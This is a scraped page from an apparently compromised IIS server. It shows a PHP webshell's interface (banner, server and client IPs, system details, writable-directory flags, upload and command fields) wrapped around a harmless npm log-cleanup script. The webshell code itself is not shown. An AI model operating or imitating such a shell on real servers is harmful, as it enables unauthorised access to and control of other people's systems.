403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/npm/lib/utils//cleanup-log-files.js
// module to clean out the old log files in cache/_logs
// this is a best-effort attempt.  if a rm fails, we just
// log a message about it and move on.  We do return a
// Promise that succeeds when we've tried to delete everything,
// just for the benefit of testing this function properly.

const { resolve } = require('path')
const rimraf = require('rimraf')
const glob = require('glob')
module.exports = (cache, max, warn) => {
  /* eslint-disable promise/param-names */
  return new Promise(done => {
    glob(resolve(cache, '_logs', '*-debug.log'), (er, files) => {
      if (er)
        return done()

      let pending = files.length - max
      if (pending <= 0)
        return done()

      for (let i = 0; i < files.length - max; i++) {
        rimraf(files[i], (er) => {
          if (er)
            warn('log', 'failed to remove log file', files[i])

          if (--pending === 0)
            done()
        })
      }
    })
  })
}

Youez - 2016 - github.com/yon3zu
LinuXploit